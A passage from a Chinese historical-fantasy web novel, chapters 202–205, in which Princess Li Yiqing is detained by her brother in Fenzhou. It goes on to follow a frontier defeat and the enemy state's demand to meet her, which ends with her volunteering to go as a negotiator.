他们跟在盛大将军身后多年，自然知道盛大将军极其看重身体素质。用盛大将军自己的话来说就是，若是脑袋不清醒，做出来的决定反而更容易误事。
李意清和元辞章跟在众将领中出去，李序泽若有所思，离开营帐后不知去向。
一个时辰，也刚好是盛蝉回来所需要的时辰。
河西谷外虎视眈眈，她只带了轻兵几十人，回到营帐后先看了一眼受伤卧床的副将张柏，安抚几句，又细细嘱咐行军大夫好生医治后，一头钻入了大将军的营帐中。
大将军的帐中，爆发了激烈的争吵。
盛蝉跪在地上，眼神却是不甘：“若不争河西崖，等援兵一到，便能在关外形成包围之势！张柏根本不会有事！还有那么多兄弟，怎么会中了对方的流箭。”
盛大将军面容沉肃，声音低沉：“你说的轻巧，若是你不守河西崖，对方便会率先登崖，届时攻守异势，如果能用现在情形推断。胡闹！简直儿戏！”
盛蝉毫不示弱：“我考虑到了这一点，事前便让刘祺佰带人上崖，人不必多，只消迷惑对方，三百人走出三千架势，便不足为虑。”
盛大将军见她振振有词，还敢顶嘴，伸手拿起自己的茶杯狠狠朝盛蝉所在方向砸了过去。
快速划过的茶杯与盛蝉的左耳擦肩而过，狠狠撞上木柜，哐当一声摔的粉碎。
“还敢与我犟嘴！当真觉得自己胜了一场，便不知道天高地厚，开始目中无人了。老子像你这么大的时候，已经当了五年副将三年主将，走过的路比你吃过的盐还多！”
又来了。盛蝉心底憋着一股气，却在面对盛大将军拿出自己往日的功劳簿的时候没有任何办法。
毕竟那可是出身将门，十八岁战场驰骋，一人一马孤身闯入敌营，杀了对面两位将军，还能全身而退的少年英才。被先帝誉为七杀转世，将星归位的存在。
盛大将军见盛蝉久久沉默，从暴怒中抽回理智，他也有些懊恼自己方才的口不择言。
他紧紧蹙起眉宇，想要走到盛蝉的身边伸手扶起她，却又挪不开面子。可是今日争吵之源，分明是盛蝉不听指令行事，他为什么要低头。
他望着盛蝉，只要后者愿意低个头，服个软，给个台阶，此事便算了了。
时间一分一秒流逝，盛大将军眼中的期待一点一滴流逝。
盛蝉梗着脖子，膝盖跪在地上倒没有很痛，只是奔波一日，腿酸得厉害。
她跪累了，站起身，掸了掸自己衣服上沾染的尘灰，没有看向盛大将军，而是背脊挺直，一脸“我没错”的表情道：“父亲如何英勇我不管！但是我手底下的人，不是给父亲独断专行拿来消耗的！”
说完，她也不看盛大将军的反应，直接抬脚离开了营帐。
盛大将军简直被她这番大逆不道的话气得脑门疼，独断专行，她可真是会说话！
“你站住！行军在外，兵将怎么可能一直全须全尾……”
盛蝉走出来后，看着外面的天光，呼吸着草地湿润的气息，在帐中堵着
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的一口气缓缓散开。
她不问昼夜，回到自己的营帐，倒头就睡。
*
河西谷的僵持，持续了足足十日。
大夏军队这一次出奇耐心，驻军于此，不前行，若是驱赶，则会全力以赴，像是对河西谷外志在必得。
虎狼环伺门口，可不是一件让人身心愉快的事情。
战事起，烧钱如流水，战事非元辞章擅长，当天晚上一合计，元辞章带了两个随行快马加鞭，回到京城，回归户部侍郎职位。
后方的银钱粮草，必然不会紧缺。
李意清帮不上忙，只好一点点翻阅着兵书手记，了解时局。
忙起来的时候，盛大将军、李序泽、盛蝉，没有一个人能想起来营地中还有一个她。
入夜之后，草原上巡查的兵队来回巡逻，手中举着火把，茴香抱着枕头，钻进了李意清的身边。
李意清还没有睡，接着豆大的灯火翻着书，见她过来，掀开一边床铺，“怎么过来了？毓心呢？”
茴香像一只大狗一样躺在李意清的身边，“毓心正在给殿下做鞋。现在夏季，草高刺脚踝，毓心想做一个厚实一些的。她说担心晚上点着灯我睡不好，叫我过来陪你。”
李意清点了点头，示意自己知晓了。
这句话茴香和李意清都不信。茴香睡眠好，根本不会因为旁边亮起的灯火就睡不好，她被赶过来，许是毓心也看出了她这几日的沉寂，想让茴香过来陪陪她罢了。
李意清合上手中的书，吹灭了案上的烛火，安安静静躺在床上。
茴香呼吸声平稳，久到李意清以为她已经睡着了，却忽然听到她很小声很小声地问道：“……殿下，你害怕吗？”
十日前，没有都会有不同的伤员被抬回来，有些能救，有些只能收殓。
李意清平躺在床上，看着营帐中绳结的坠子，半响，反问回去：“你害怕吗？”
茴香没有第一时间回答。她第一次到离战事这么近的地方，说不怕自然是假。
就她这样倒头就睡的性格，也偶尔会深夜惊出一身冷汗，梦到大夏的铁蹄踏过她的身体，她摔在泥土里，和大地融为一体。
李意清没有催促，耐心地等待。
等了一会儿，耳畔的呼吸声十分有节奏，她侧目望去，茴香阖上了双眸，安静得睡着了。
有一丝忧虑，不过很快就舒展开来。
李意清不禁失笑，半支着身体给她掖好被子，才在心底道：“睡吧。”
没想到，已经睡着的茴香翻了一个身，她下意识地伸手抱住身边人的胳膊，用自己莹润饱满的脸蛋蹭了蹭李意清的手臂，像是梦呓道：“不……”
李意清凑近了一些。
“不怕……”
这回听得更清楚了一些。
李意清还想听得更多，只见茴香又松开她，翻向另一边，安安静静，呼吸均匀。
“……”李意清望着她圆润的后脑勺，忍不住伸手揉了揉她的脑袋。
202. 软禁
夜半时分，草地上只剩下蟋蟀的叫声，偶尔几声换班的脚步声，更显幽静。
听着耳畔的呼吸声，李意清难得睡了一个整觉，醒来后，旁边人早就没了。
毓心端来水盆，拧干毛巾递给她，“殿下，盛将军又出去了。”
李意清用力地搓着自己的脸旁，见毓心欲言又止，主动问道：“要说什么？”
毓心面上神色如常，只静静看着李意清，忽略擂鼓般的心跳，镇定道：“盛将军临走之前嘱咐奴婢，让奴婢在殿下醒后告诉殿下一件事。”
李意清望着毓心，往日说话，毓心可不会这样吞吞吐吐，把完整的一句话拆开两半说。
毓心道：“盛将军说营中药材短缺，如果殿下可以帮忙……”
没等她说完，李意清就点了点头，“盛蝉有留下方子吗？现在紧缺哪几味药材？”
毓心定了定神，从袖中取出一张方子。
“有的，盛将军一早就让医师拟好了。”
李意清伸手接过药方，扫了一眼上面草拟的方子，对她道：“三七蒲黄，都不算难寻之物，事不宜迟，等下你就随我去汾州看看。”
熙州地近，多余的药材早就用得差不多，剩下三成还需要留在当地药铺，免得百姓有个风寒咳嗽急症寻不到药。
“好。”毓心应下，“殿下稍等片刻，我现在就去收拾东西。”
两人加上洛石，轻装简行，并未收拾太多东西，没吃晌午饭就出了门。
马车昼夜不息，三天时间就到了汾州。
汾州知州头一晚知道了消息，此刻正率人站在城门外，列队夹道迎接。
李意清在毓心的搀扶下走下马车，走到一脸热切的汾州知州面前。后者展开衣袖，做扇状给李意清扇风遮阳，“殿下，您亲自到访，下官没能远迎，是下官的过失。”
李意清没有听他寒暄，“你应当知晓本殿来这里的用意了吧？”
汾州知州连连点头：“知道知道。殿下放心，今日一大早下官就派人去州府询问药铺情况。殿下现在可先在府衙小憩，估摸着到了晚间时候，消息就能传回来了。”
毓心忽然道：“汾州知州，晚间时候就能得到确切消息吗？”
汾州知州并没轻视李意清身边的这位随行大宫女，听到她的问话，立刻接话道：“正是。不过今晚只能得到消息，等府上派去的人细细打听过了，确认无误，便可将放在库中的药材运出来，准备送去。”
李意清耳边听着汾州知州的答话，手上也没闲着，取了汾州近年粮食的册子翻看。
汾州这批药材关系着前线将士的安危，汾州知州断然不敢拖延。
李意清翻看了几页，指尖在页面上轻点。
汾州知州提心吊胆，自他上任以来，战战兢兢，不敢丝毫性差踏错，可是百密一疏，他是生怕自己翻船。
早就听说於光公主处事严肃，比起当时的太子殿下还有肃然。现在真真遇上了，才知道心底何等心慌。
毓心看出汾州知州的慌张，主动轻咳一声，示意他跟自己走出来。
带上门，毓心才轻声道：“殿下不必知州作陪，知州尽可以做自己的事情。”
汾州知州还是有些放不下心，苍蝇搓手般朝里面张望，“可……”
毓心补充道：“知州大人若是不放心，每过一个时辰添一次茶。如有什么别的事情，自会有我前来找知州大人。”
汾州知州对身边的随行道：“快，快，都记下来。每隔一个时辰添一次茶。”
而后对毓心道：“姑姑有任何事情，皆可直接到正堂找我，随时恭候。”
两人微一颔首，在门外分别，毓心见他离开，重新把门打开一道缝隙，走了进来。见李意清看得认真，站在一旁添茶磨墨。
室内安静落针可闻，李意清看累了，手撑在桌上浅睡了一阵子。
醒来的时候，外面已经漆黑如墨。大红色的灯笼被点亮，散发着幽幽的光线。
李意清打了个哈欠，望向门口，问身边的毓心：“消息传回来了吗？”
毓心摇了摇头：“尚未。”
李意清沉吟，现在都已经这个点了，再怎么着，也不至于一点声响都没有。
毓心：“奴婢也觉得，今日安静得有些过分了。”
不说药材的消息，早该半刻钟前，就应该有人前来询问是否用膳了。可是到现在为止，外面静悄悄的，一点动静都没有。
李意清心中越来越觉得奇怪，她站起身，将袖子往上卷了卷，走到外面。
外面，灯火通明。
这样的亮光，往日里只会在走水了抑或是佳节才会有，现在并非良节，又丝毫听不到慌乱的呼声，当真奇怪。
毓心走到墙根下停了停，对李意清道：“殿下，外面像是不少人集结。”
李意清立刻推门而出，守在院落门口的两人立刻伸手拦住她：“殿下可是有什么吩咐？”
他脸上带着温和的笑，言辞却紧张，像是生怕她准备离开。
毓心道：“我们殿下到现在还没有用饭，早就饿了，你们知州就是这般担事的吗？”
侍卫道：“是卑职的疏忽，殿下稍等片刻，稍后就会有专人送来。”
毓心道：“不必，我们殿下自己去吃些就好。殿下饮□□细，有些忌口。”
她话说的圆满漂亮。
侍卫面露迟疑，最后还是坚定地摇了摇头，“殿下，您还是现在院子里头待着吧。”
毓心的话就是李意清的所思所想，在听到两人的争辩后，李意清就嗅到了一丝不同寻常的味道。
这哪里是请人在侧堂稍候，这分明是软禁。
毓心反应极快，立刻瞪了他一眼，“大胆，区区汾州知州，竟然敢囚禁於光公主，你们哪来的胆子，敢如此行事？”
她的声线偏柔，但对着侍卫的时候却格外铿锵有力。
“罢了。你去叫你们汾州知州过来，我倒是想知道，知州是怎么想的。”
李意清拢了拢自己散落的发丝，语气冰冷。
她沉着嗓音的时候，带着身居高位的冷意与睥睨，让人不觉就开始按照她的话行事。
侍卫咬了咬
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下唇，几乎不敢直视李意清，“殿下，不是我们不愿意说……”
眼瞅着他快撑不住，只差最后一点，李意清不慌不忙又补了一句：“等本殿出去，你们软禁本殿的罪名，我倒是想知晓该如何处理。”
侍卫慌张之际，忽然传来一道低沉的声音。
“是我让人别让你出来的。”
李意清怔了一瞬，几乎有些不敢置信地看着出现在自己面前的李序泽。
“皇兄，你不是……”
李序泽道：“前线现在用不上我，便和你一道来汾州采买药材，还有粮食。”
李意清才看完汾州粮食记载，立刻准确报出数字，李序泽紧皱的眉宇微微松开一些，却还是阴沉如暴风雨来袭。
李序泽不容置疑道：“这几日你好生住在汾州府，等我去信给伯怀让他接你回京城。”
兜兜转转，怎么还是要送她回去？
李意清忽然想到今日毓心和自己说话时候的迟疑，袖中的手攥紧，轻声道：“所以你故意让毓心假传消息，引我过来？”
在营地的时候有盛蝉的撑腰，现在汾州，则只能乖乖听从兄长的意见。
毓心急了，她扯着李意清的衣袖，焦急道：“殿下，奴婢从未替大殿下假传消息。”
李意清话一出口的刹那，就在心中否决了自己的看法。
毓心怎么会骗她。
李序泽没有承认，却也没有完全否则，沉吟了片刻，摇了摇头道：“随你怎么想，总之，安心留在京城，等候大军凯旋的消息。”
李意清望着他倏然转身，毅然决然的背影，追问道：“皇兄，那你呢？”
李序泽没有一丝迟疑，“盛将军急需的草药，由我继续运回前线，不必你再操心。”
说完，他头也不回地离开了屋子中。
李意清心中砰砰作响，明明前些日子，两人还短暂达成共识，怎么还不到半个月的时间，兄长就突然改变了自己的看法。
一定是发生了什么自己不知道的事情。
李意清走到侍卫身边询问，侍卫支支吾吾，答不上来。
或许是瞒着她，又或者他们也一直站在岗位不曾移动，也不知道外面发生了什么大事。
晚饭送来的时候，李意清心中有事，只喝了两口清水，便再也吃不下东西。
侧堂中除了夜半的风声，清冷非常。
侧堂中只有书案和书架，没有软榻床铺，毓心将两件衣裳铺开放在地上，让李意清将就躺上一晚。
李意清躺在地上，地砖的冰冷从两层薄薄的衣裳透过来，又冷又坚硬，硌得她肩膀疼。
她睡不着，半坐起身体，望着外头被树影切割得稀碎的皎洁月光，忽然心生一计，左脚踩右脚爬上了树，等高度合适，轻飘飘从高处往墙头一蹦。
树下站着的毓心惊出一身冷汗，那墙头薄瘦，稍有不慎，一脚踩空重重坠在地上。
李意清站稳后，朝毓心比了一个手势，让毓心放心。
然后一低头，正好看见李序泽站在墙根下，身后林林总总，站了十多号人。
203. 取而代之
李意清猝不及防和李序泽对视上，心底没有边际的惊慌一闪而过，好半响才稳住心神，有些心虚地看向李序泽，乖巧道：“皇兄。”
李序泽表情严肃，沉着嗓音道：“滚回去！”
这句话和向来稳重大方，仁德善良的大皇子极其不符合。
李意清一肚子疑问，在面对这张脸的时候一句话都说不出，她嗯了一声，转身，利索地往墙下一跳。
院墙一人多高，李意清没有武学底子，跳下来后脚踝震得发麻。
李序泽眼睁睁看着李意清什么辅助都没有，直挺挺从墙头跳下来，太阳穴突突地跳.
“我是让你回去！”李序泽脸色不算好看，但还是走到李意清的身边，伸手撩开她的裙摆，掀开鞋履，见并未红肿发青，微微松了一口气，“疼不疼？”
李意清立刻摇了摇头，斯哈地抽气道：“不疼，一点都不疼。”
李序泽：“……”
他有些无话可说，两人面对面半响，他忽然对后面十几号眼观鼻鼻观心的侍卫道：“你们也不看着点。”
侍卫：“……属下失职。”
教训完了侍卫，李序泽面不改色地握住李意清的手腕，她的手腕纤细，仿佛稍微用力就会折断。
李序泽没留情面，皇妹狡猾得很，稍不注意就会溜得没影。
只见李意清眨了眨眼睛，方才腿被震麻的泪花在此刻派上了用场，她眼眸明亮，眼睫纤长，上面缀着一颗颗晶莹剔透的泪珠，看上去楚楚可怜，“皇兄，手疼。”
“我带你回去。”李序泽眼也不眨道。
他铁面无私，几乎是拖拽着李意清回到侧堂，见地上铺着的两件衣裳，默了一瞬，对身旁人吩咐拿一床被褥过来。
李意清小声提醒道：“皇兄，还有毓心。”
李序泽更改了自己的说法。
等人将被子送来，李序泽亲身铺好后，退出房门准备关上，嘱咐道，“时候不早了，早些休息。”
门还剩一道缝隙的时候，一个小兵着急忙慌闯了进来。
他一边跑一边喊：“殿下，殿下，出大事了。”
李序泽看了一眼被勾起好奇心的李意清，毫不讲情面地将门关上，“旁边说。”
小兵纠结不已，站在地上久久不动。
他望着李序泽的背影，又见他忽然转身，眉宇清隽又疲惫，眼神中明晃晃写着两个大字“怎么？”
小兵犹豫了一瞬，准备据实相告：“殿下，此番军情，还与公主殿下有关……”
树影半斜，一半落在李序泽的身上，半是玉佛半是修罗。
*
李意清又被稀里糊涂地带回了营地。
盛大将军的帐中，争论不休，在他们争论的同时，甚至有书信传到京城，询问顺成帝的意思。
茴香留在营中，听到了风声，左右一瞥见四下无人，压低声音对李意清道：“盛大将军觉得盛将军不听自己的话，那日亲自上阵，大败。”
她甚至用的不是惜败。
而是大败。
许三被元辞章留在西北照顾李意清，李意清去汾州后，只剩下茴香和许三可以获得信息。
茴香道：“奴婢听许三说，那日战事，大夏犹有神兵天助，能看透盛大将军的每一个招数。”
洛石道：“并非全无可能，盛大将军被誉为七杀将星，自然会被人摸索。如果盛大将军不改战术……”
“这我就不知道了。”茴香摆了摆手，“只是听说此战，损益两千余人，被俘八百人。”
李意清瞳孔中满是不可置信：“竟然这么多！”
茴香点了点头：“是啊，这么多人，盛大将军说要与大夏好好谈谈……毕竟无论何时，将士性命都尤为可贵。”
毓心也有些不忍，轻声低喃了一句：“无量天尊。”
场中一时间极为安静，茴香张了张嘴，有些不知道如何缓和气氛，只好用胳膊捅了捅一旁的许三，给了他一个眼神。
许三道：“八百人盛大将军不会放手，派去和大夏商议的使臣回来说，大夏要见公主殿下。”
李意清怔愣一瞬，指了指自己的鼻尖，“我？”
许三笃定地点了点头，“对，白纸黑字，写得清清楚楚——於光公主。”
*
盛大将军营帐中，气氛焦灼不已。
李序泽一路骑马赶回，脸上胡茬未刮，看起来潦草又狼狈。今日要见人，他才勉强收拾自己一番，而后急匆匆地走到盛大将军营中，听到消息后，怒不可遏伸手拍桌：“想动意清，做他的春秋大梦！”
旁边有副将劝解：“大殿下不必如此盛怒。大夏只说要见公主殿下一面，其他可一个字都没说。”
另一人附和道：“对啊，而且那边的消息说，只要能让公主殿下前去议事谈合，不但会归还八百人战俘，还允诺休整两个月，不起战事。”
李序泽想也没想就拒绝：“那也不可能，意清乃我朝公主，金枝玉叶，她前去议事，不亚于羊入虎口。”
旁边的副将有意再劝，但李序泽态度坚决，他沉着嗓音：“兹事体大，还是等陛下的回复。”
副将心底焦急如火烧火燎，毕竟那日战败，大夏只给了半个月的时间，届时如果还没有回音，估计免不了一场恶战。
不过大夏点名於光公主，倒是耐人寻味的很。
众人心中猜测纷纷，却又一一否决，毕竟公主生在京城长在京城，能和大夏有什么联系。
空气如凝结的墨块，粘腻滞涩。
无声之中，盛蝉猛然掀开帐子，帐子掉下的时候发出啪的一声。
盛蝉看着最上首坐着的盛大将军，一字一句道：“你要是刚将公主交出去，我必取你代之！”
旁边的副将有意阻拦，“盛将军，大将军可什么都没说呢。”
盛蝉没有说话，只用眼神警告着盛大将军。
那被俘虏的八百人皆是盛大将军亲手栽培，有些甚至是他最开始的时候带的兵，战死后子从父业，又投在他的手下。感情之深厚，并不亚于父子兄弟。
她很清楚盛大将军会为了那些人做到哪一步。
盛大将军没有说话，旁边的副将冷汗涔涔，“盛将军，你腿上有伤未愈合，还是
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早些回去休息吧。这边有大将军和大殿下，必然出不了岔子。”
盛蝉心口堵着一口气，若是今日站在营帐中的大将军是她，意清何至于遭此场面。
她像丛林中的一匹半成年的老虎，舔舐着自己锋利的利齿，随时想挑战父亲的权威，最后取而代之。
只有这样，公主才不会沦落为谈判的筹码。
那可是星辰难及的公主，众星捧月，明艳胜过三月艳阳。
但盛蝉也知道，大夏的历史上，也有五位公主远嫁他国和亲，客死他乡，魂魄不归。更有甚者，夫人丈夫死而兄弟继，根本不在意女人的想法。
光是想想李意清要被送去和那个已经年过不惑的老皇帝和亲，盛蝉就恨不能与大夏同归于尽。
盛大将军看出她眼中的挑衅和阴沉，本古井无波的心上忽然泛起了一圈涟漪。他锋利如鹰隼一般的眼神落在盛蝉的身上，“若是我执意送走公主，你当如何？”
他望着她，像望着一只浴血奋战，却又不得希望的狼崽。
盛蝉又惊又怒，她拔出自己腰上的佩剑，抽出后指向盛大将军。
“十年后，取而代之，要你忏悔认罪。”
旁边几人被这突然其来的剑光吓了一大跳，立刻往后退了几步，“盛将军！盛将军！”
盛大将军眯起眼睛看着盛蝉，“你竟然为了她，敢向我扬剑？”
盛蝉梗着脖子没有说话。她只说了前半句，后半句没说。
若是大夏当真敢对李意清无礼，她有生之年，必要踏破大夏金圣宫。
盛大将军若是能听到她的心声，估计原先不想动手，都会忍不住铤而走险，踏破大夏皇宫，这是何等诱惑。
盛蝉将剑收回剑鞘，一身冷意离开了帐子。
*
李意清还是有些不解，指着自己问道：“为何是我？”
她对大夏的认知，还是在皇宫书堂中听周太傅讲解的那些，不过为了课上让人听得进去，间或掺杂一些大夏皇宫秘闻。
比如二皇子和六皇子的上位之争。
许三道：“这属下就不知道了。殿下，你怎么想？”
李意清还没有说话，茴香就大声道：“这还需要想？公主殿下代表的可是大庆的脸面，若是真送去了，被人戳着脊梁骨……若是你，你可愿意踩着公主的耻辱苟活？”
许三毫不犹豫：“那我自然是不愿意的。”
他这么回答，茴香依旧不高兴，她继续道：“你有这份心，可是却不是人人都和你一样。我们现在踩着的土地上，都沾满了那些被送出去和亲的公主的眼泪。不管愿或不愿，都无从辩白。”
旁边的许三立刻伸手捂住了她快言快语的嘴巴，“当真糊涂，这也是能随便说的？”
这般说，岂不是打了那些下令送公主和亲皇帝的脸面？
茴香伸手拽下他的手掌，“好啦，我不说就是了……殿下，你放心，陛下，大皇子，都绝不会同意的。”
许三在旁附和道：“对啊，殿下，传言中只听说大夏的那位主帅想要见你一面。怎么突然说着说着，就聊到了和亲。”
204. 合谋
李意清沉吟不语。
天色渐晚，四人起身准备离开，茴香还有些不放心，伸手拽着李意清的手，目光虔诚而认真：“殿下，你可千万不要一时脑热，就答应了。”
李意清将手抽出来敲了敲茴香的脑门，语气含笑：“我知道，你放心。”
他们这才离开。
夜里的时候，门外风声萧萧，李意清望着晃动的烛火，准备熄灭的时候，外面忽然传出洛石的低呵声。
“什么人？竟敢闯公主营帐。”
外头一阵打斗的声音，动静越来越想，洛石费了一番力气，背过来人的手，扭送入营帐中。
“殿下，这个人在外面鬼鬼祟祟，看着不怀好心。”洛石用膝盖死死抵住那人的背脊，语气笃定。
李意清垂眸看着面前的人，看着三十多岁出头，眼窝深陷，看着颇为憔悴。
“谁派你过来的？”她的语气很平静，像是猜到今夜一定会有人过来找她。
被迫跪在地上的那个人抬头飞快看了一眼李意清，咬住了自己的下唇，面上一横，显现出几分视死如归的豪迈。
李意清向洛石比了一个手势，示意他先松开这个人。
洛石撇了撇嘴，但是还是松开了那个人，在外头的时候洛石就把他的刀剑卸去，现在有他在旁边看着，出不了什么岔子。
那人被松开后，闭上眼，冷静道：“殿下要杀要剐，动手就是。”
这段话过于耳熟，李意清眯了眯眼睛，手有一下没一下地敲着木板，发出有节奏的扣击声。
她越是风轻云淡，跪在地上的那个人就越慌张。
“你是哪个营中的？夜袭公主营帐，意欲何为？”李意清望着他。
那人道：“你别管我是哪个营帐的，我一人做事一人当，和将军无关！”
洛石追问：“那为何来此？”
那人却又沉默了。
洛石和他交手的动静引起了夜里巡逻士兵的注意，不到半个时辰，盛大将军和盛蝉就出现在了营中，又等了一会儿，李序泽也到了。
盛大将军望着跪在地上的人，耳边是洛石的解释：“大将军，大殿下，这个人夜里在公主营帐外鬼祟。”
“……”盛大将军对这个人依稀有印象，他目光严厉，落在后者头顶犹如千斤之重，“郭汝成。”
见他准确叫出来人的名姓，其余众人心底都不禁闪过一丝诧异。
营帐中人千千万万，怎么能做到看到后者的面容就想到名字。
盛大将军道：“你前两次战场上立功，本欲擢升你为副将，怎么现在犯这样的糊涂。”
——原来是立了功勋之人。
郭汝成死死低着头，“属下辜负大将军信任，请大将军以军法处置我。”
李意清知道盛大将军惜才，见他眉宇中满是惋惜，主动道：“好在，洛石机灵，也没出什么事。”
只是郭汝成不肯说明来意。
李序泽道：“夜闯公主营帐，乃是重罪，此人便交予本殿带回去审问。诸位都散了吧。”
他话音刚落，就听到盛大将军阻止的声音：“大殿下，老臣对这郭汝成颇为了解，不如让老臣先询问。”
李序泽抿了抿嘴角，虽一句话没说，却耐人寻味。
和大将军相熟，反叫更令人担心。
盛蝉眼底也有些不赞同，“你来审问，怕是有人会说你徇私舞弊。”
盛大将军面对他人的质疑和担忧浑然不在意，他看向站在身为这件事主人公的李意清，朝她微微拱手：“公主殿下，若郭汝成当真不敬，老臣必不轻饶。”
李序泽在心中暗骂盛大将军狡诈，竟然直接跳过他去询问李意清的意思。
意清最好讲话，他这么开口，意清怎么会拂了他的面子。
李意清目光柔和，听到盛大将军的话语，微微颔首，“有劳盛大将军。”
李序泽料到此结果，一甩衣袖，脚步含着怒气走了出去。不知道是在生李意清的气，还是在生自己的气。
盛大将军道：“老臣应该的。”说完，一手拽住郭汝成的衣领，像提着小鸡仔一样把他拎走。
盛蝉落后一步，关切地看着李意清，“今夜可要我陪你？”
李意清心中一阵暖流缓缓淌过，但是想到后面发生的事情，笑着朝她摇头：“不必，我才没有被吓到。要是有事，我一定大声喊你。”
盛蝉一步三回头地离开了。
她离开后，洛石正准备退下，却被李意清叫住。
“我要去大将军帐外。”
她说的不是“我想去”，而是“我要去”。
洛石望着李意清，脑海中飞快运转，若是光明正大去，李意清没必要单独留下他才说。
他控制着自己不要过多猜测，殿下既然允许盛大将军将人带走，怎么会又信不过大将军审问，需要做出去听人墙角这种事。
洛石抿了抿唇，点头，“殿下随我来。”
一路上，洛石领着李意清避开众人耳目，走到大将军营帐外。
里面，灯火通明。
耳畔风声呼啸，李意清身上被风吹得冰冷。她在洛石的隐蔽下走到营帐外站定，有人注意到这边动静，举着火把围绕着将军营帐巡视。
李意清心跳砰砰，她附耳靠近营帐，屏住呼吸，听到里面交谈的声音。
盛大将军道：“我且问你，今日你出现在公主营帐外，是想要做什么？”
郭汝成道：“大将军，您应当知道的！”
营帐中，郭汝如面无血色，跪倒地上，“我无父无母，靠郭家夫妻救济苟活，郭家两位大哥已经死在沙场，无论如何，我都要救下郭小郎。”
盛大将军想起惨烈的郭氏一门，脸上神情缓和不少。
他有些恨铁不成钢，“即便我知晓你只是救人心切，可是公主营帐，岂是你想进就进的？此事若不能寻出合理解释，只怕你前景堪忧。”
郭汝成笑得无所谓。他道：“我从不在乎功名利禄。”
他出生在霜序，风雨冷冷，若不是郭家夫妻见到被人抛弃的他，他早就死在第一个冬日，谈何建功立业。
郭家大郎和二郎战死沙场那日，郭家夫妻大恸，日日以泪洗面，郭大娘哭坏了眼睛，已经奄奄一息。
前些日子送来的家书中，满是对期待战事平息后、家人团聚的渴盼。郭父没提，他却知晓，这是要回乡去见大娘最后一面。
现在郭大娘躺在床上弥留之际，如果得知郭小郎被敌军掳去，怕是便要天人永隔
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郭汝成道：“大夏说只要公主愿意出面洽谈，便可放回被俘虏的八百人。我知晓大将军的顾虑，上有皇权压头，下有百姓所向，这个恶人，便由我去当吧。”
盛大将军有些卸气地踉跄两步。
郭汝成跪在地上，端端正正朝盛大将军磕头：“属下心中，王孙公子，平民百姓，并无本质不同，公主一人命，换八百将士生，值当。这些年，多谢大将军提携之恩，日后，生死有命。”
他说完自己心中所想，长长地松了一口气。
在他的心中，大庆的嫡公主，哪有照顾自己长大的郭家夫妻、以及自己看护着长大的郭小郎重要。
盛大将军见他下定决心，不管不顾想要出去继续，伸手拦住他，“荒谬，只你一人，如何成事？”
郭汝成道：“非我一人。今日即便大将军看住我，公主也不会一夜安宁。”
还有同伙？盛大将军神色一凛，立刻大踏步走出帐外，准备传人前去公主营帐外加固防守。
谁知道他刚一掀开营帐，只见他们方才谈论的公主殿下衣袍被风吹得鼓胀，猎猎作响。她面容清冷，发丝在身后飞扬，神情坚毅，眼神明亮，仿佛下一秒就要乘风而去。
公主红唇开合，语气平静：“我愿意前去大夏洽谈。”
盛大将军一时怔在原地。
他在心中动过这个念头，却只一瞬。郭汝成做了他想做而不敢做的，他心中惊怒，却并未诧异。
同样地，在他的心中，要效忠的是君主，是江山万民，而不是一个生在富贵窝的皇子皇孙。一个公主，如何能与他出生入死的兄弟相提并论。
盛大将军这么想，却不敢真的这么做。
李意清望着他神色变幻的脸旁，道：“大将军若是不信，我愿亲笔写下书函，签下军令状，此行只我自愿，生死不必将军担责。”
盛大将军张了张口，侧过半个身位。
李意清越过他的刹那，盛大将军沙哑的嗓音钻入耳中：“老臣必会竭尽全力，护公主安好。”
跪在地上的郭汝成看着盛大将军亲自磨墨，将润湿的笔递给李意清。
本视死如归的郭汝成根本想不到还有这样的反转，他用力咽下一口口水，心中空落落的。
他紧紧地盯着李意清。
火光下，李意清神色清冷，专注地写完自愿请函，指尖沾着印泥，重重摁了上去。
她检察一遍无误后，双手捧起，呈到盛大将军的面前，“请大将军检查。”
公主殿下的字迹和文辞自然无可挑剔，盛大将军仔仔细细看完后，两折后收入匣中。
“多谢公主殿下。”盛大将军真心实意说完，招来副将，准备安排护送公主的护队。
只是洽谈，自然要全须全尾地走，全须全尾地回来。
盛大将军忙碌的时候，郭汝成心中像噎着一个东西，上不去也下不来，他走到李意清的身边，第一次看清大庆公主的面容。
那一刹那，他似乎懂了反对派的主张，大庆的明珠，怎么能受大夏的折辱。
郭汝成垂下眼眸，八百人中，有他必须以性命相护的存在。他抿了抿唇，望着李意清，轻声道：“多谢殿下，等殿下回来，责罚或处死，属下都心甘情愿。”
205. 少年主帅
李意清没有望他。自己主动愿意入局为质子，和被人逼迫着去当终究不是一种感觉，她嗓音冷淡又安静：“本殿为了将士百姓，干你何事。”
另一边，盛大将军一边吩咐着副将，一边在心中觉得自己当真是疯了。
等他的心腹副将茅湛听完部署退下后，盛大将军走到李意清的身边，轻声道：“今夜先派出使臣，与大夏说一声，后日天一亮……”
李意清微微摇头：“后日过了丑时，就让人准备启程，皇兄起得早，晚了易生变故。”
说完的刹那，李意清忽然忍不住有些想笑，她和皇兄，都太过了解对方。
盛大将军自然没有异议，他缓和了片刻，介绍道：“大夏要公主前去相商，无非欺负公主不懂军政，想要割地钱粮，如真遇到了，方才的那个副将是老臣一手栽培，名叫茅湛，他必然会竭尽全力协助殿下。”
李意清点了点头。
盛大将军依旧不放心，“此行护送殿下，走河西谷关外，五百人相随，届时同样会准备暗线，如果情况不对，会接应公主逃出来。”
和大夏在大庆京城中有所布置一样，大夏中也有大庆的苦心经营。
对于埋伏在大夏的暗线，已经经营了十多年，盛大将军也不希望看到多年成果付之一炬，但殿下如果真的有事，即便暴露部分，也要先以殿下安慰为重。
盛大将军拿出山川图纸，将自己的部署一点点说出来，李意清心中原本还有些紧张，听完盛大将军的计划后，反倒安心不少。
同时不由地在信中感慨，盛大将军不愧是驰骋沙场多年的大将，短短时间，就能构思出这样一个严谨缜密的方案。
等商量完一切，天边已经浮现鱼肚白。
李意清回到营帐中，闭目养神，昨夜一夜未睡，明日天不亮就又要出发，现在养足精神，才更好行事。
可她睡的并不安稳，一闭眼，脑海中满是暴怒的李序泽骑马就要找她，盛蝉顶撞盛大将军……
还有，赶到西北的元辞章，他又会怎样呢？
李序泽过来看李意清，听到毓心说她还在睡着，心中不知道闪过一丝释怀还是别的什么。
昨夜出现那样的事情，意清害怕担忧在所难免，李序泽并未十分讶异，站在帐子外等候片刻，他又匆匆走到大将军那边，派人进去询问处理情况，只得到一个不冷不热的回答。
李序泽心中冷笑一声，甩袖离开了。
茅湛一直留心着外头的动静，等声息渐小，才对盛大将军道：“大将军，大夏那边的回信已经传到，一切准备妥当。”
